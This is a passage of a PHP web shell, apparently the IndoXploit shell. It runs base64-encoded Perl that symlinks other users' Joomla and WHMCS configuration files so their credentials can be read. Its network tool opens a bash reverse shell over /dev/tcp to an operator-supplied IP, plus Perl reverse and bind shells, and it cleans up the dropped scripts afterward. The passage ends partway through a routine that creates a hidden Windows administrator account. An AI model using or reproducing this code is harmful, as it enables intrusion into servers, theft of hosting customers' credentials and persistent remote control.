sIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3YyL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV0hNQ1Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0ZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZG9tYWluL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0FSVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jYXJ0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvT1JERVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL29yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UQVJFQS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRhcmVhL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQklMTElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQlVZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTUFOQUdFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ0xJRU5UU1VQUE9SVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2hlY2tvdXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jaGVja291dC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jhc2tldC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU2FsZXMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zYWxlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvUHVyY2hhc2Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wdXJjaGFzZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9BY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Vc2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbGluZ3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTXkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9teS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wYW5lbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50ZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9DQopOw0KZm9yZWFjaCAoQGFycmF5KXsNCglteSAkY29uZmlnbnlhID0gJF8tPntjb25maWdkaXJ9Ow0KCW15ICR0eXBlY29uZmlnID0gJF8tPnt0eXBlfTsNCglzeW1saW5rKCIkY29uZmlnbnlhIiwiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiKTsNCglta2RpciAiaWR4X3N5bS8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQiOw0KCXN5bWxpbmsoIiRjb25maWdueWEiLCJpZHhfc3ltLyR1c2VybnlhLSR0eXBlY29uZmlnLnR4dC8weDE5OTkudHh0Iik7DQoJY29weSgiaWR4X3N5bS9uZW11LnR4dCIsImlkeF9zeW0vJHVzZXJueWEtJHR5cGVjb25maWcudHh0Ly5odGFjY2VzcyIpIDsNCgl9DQp9DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50ICI8aGVhZD48dGl0bGU+QnlwYXNzIDQwNCBCeSAweDE5OTk8L3RpdGxlPjwvaGVhZD4iOw0KcHJpbnQgJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjU7IHVybD1pZHhfc3ltIi8+JzsNCnByaW50ICc8Ym9keT48Y2VudGVyPjxoMT4weDE5OTkgTmV2ZXIgRGllPC9oMT4nOw0KcHJpbnQgJzxhIGhyZWY9ImlkeF9zeW0iPktsaWsgRGlzaW5pPC9hPic7DQp1bmxpbmsoJDApOw==";
1032 save("/tmp/symlink.pl", "w", base64_decode($sym['code']));
1033 exe("perl /tmp/symlink.pl");
1034 sleep(1);
1035 @unlink("/tmp/symlink.pl");
1036 @unlink("passwd.txt");
1037 @unlink("idx_sym/pas.txt");
1038 @unlink("idx_sym/nemu.txt");
1039 }
1040
1041 print "<div style='background: #ffffff; width: 100%; height: 100%'>";
1042 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_sym/' frameborder='0' scrolling='yes'></iframe>";
1043 print "</div>";
1044 }
1045 elseif($toolsname === "network") {
1046 $args = explode(" ", $args);
1047
1048 if($args[0] === "bc") {
1049 if(empty($args[1])) die(color(1, 1, "Set Your IP for BackConnect!"));
1050 if(empty($args[2])) die(color(1, 1, "Set Your PORT for BackConnect!"));
1051 if(empty($args[3])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
1052
1053 if($args[3] === "bash") {
1054 exe("/bin/bash -i >& /dev/tcp/".$args[1]."/".$args[2]." 0>&1");
1055 }
1056 elseif($args[3] === "perl") {
1057 $bc['code'] = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1058 save("/tmp/bc.pl", "w", base64_decode($bc['code']));
1059 $bc['exec'] = exe("perl /tmp/bc.pl ".$args[1]." ".$args[2]." 1>/dev/null 2>&1 &");
1060 sleep(1);
1061 print "<pre>".$bc['exec']."\n".exe("ps aux | grep bc.pl")."</pre>";
1062 @unlink("/tmp/bc.pl");
1063 }
1064 }
1065 elseif($args[0] === "bp") {
1066 if(empty($args[1])) die(color(1, 1, "Set Your PORT for Bind Port!"));
1067 if(empty($args[2])) die(color(1, 1, "Missing type of reverse shell: 'bash', 'perl'."));
1068
1069 if($args[2] === "perl") {
1070 $bp['code'] = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1071 save("/tmp/bp.pl", "w", base64_decode($bp['code']));
1072 $bp['exec'] = exe("perl /tmp/bp.pl ".$args[1]." 1>/dev/null 2>&1 &");
1073 sleep(1);
1074 print "<pre>".$bp['exec']."\n".exe("ps aux | grep bp.pl")."</pre>";
1075 @unlink("/tmp/bp.pl");
1076 }
1077 }
1078 else {
1079 print color(1, 1, "Unknown '".$args[0]."'");
1080 }
1081 }
1082 elseif($toolsname === "krdp") {
1083 $args = explode(" ", $args);
1084
1085 if(OS() !== "Windows") die(color(1, 1, "Just For Windows Server"));
1086 if(preg_match("/indoxploit/", exe("net user"))) die(color(1, 1, "[INFO] username 'indoxploit' already exists."));
1087
1088 $add_user = exe("net user indoxploit indoxploit /add");
1089 $add_groups1 = exe("net localgroup Administrators indoxploit /add");
